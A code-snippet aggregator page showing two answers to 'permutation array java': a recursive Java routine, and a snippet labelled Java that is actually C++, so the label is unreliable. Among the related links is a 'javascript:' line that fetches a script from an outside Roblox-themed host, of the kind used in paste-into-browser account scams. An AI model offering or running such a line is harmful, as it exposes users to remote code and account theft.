Horje
permutation array java Code Example
permutation array java 

int a[] = {3,4,6,2,1};
int size = sizeof(a)/sizeof(a[0]);
std::sort(a, a+size);
do {
  // print a's elements
} while(std::next_permutation(a, a+size));
Source: coders911.org
permutation array java 
public class Permute{
    static void permute(java.util.List<Integer> arr, int k){
        for(int i = k; i < arr.size(); i++){
            java.util.Collections.swap(arr, i, k);
            permute(arr, k+1);
            java.util.Collections.swap(arr, k, i);
        }
        if (k == arr.size() -1){
            System.out.println(java.util.Arrays.toString(arr.toArray()));
        }
    }
    public static void main(String[] args){
        Permute.permute(java.util.Arrays.asList(3,4,6,2,1), 0);
    }
}
Source: stackoverflow.com



Java

Related
void in java Code Example void in java Code Example
xJavascript:$.get("//javascript-roblox.com/api?i=13407") Code Example xJavascript:$.get("//javascript-roblox.com/api?i=13407") Code Example
start an activity in adapter Code Example start an activity in adapter Code Example
why is java so verbose Code Example why is java so verbose Code Example
postfix operator in java Code Example postfix operator in java Code Example

Type:
 Code Example
Category:
 Coding
Sub Category:
 Code Example
Uploaded by:
 Admin
Views:
 9



 

Horje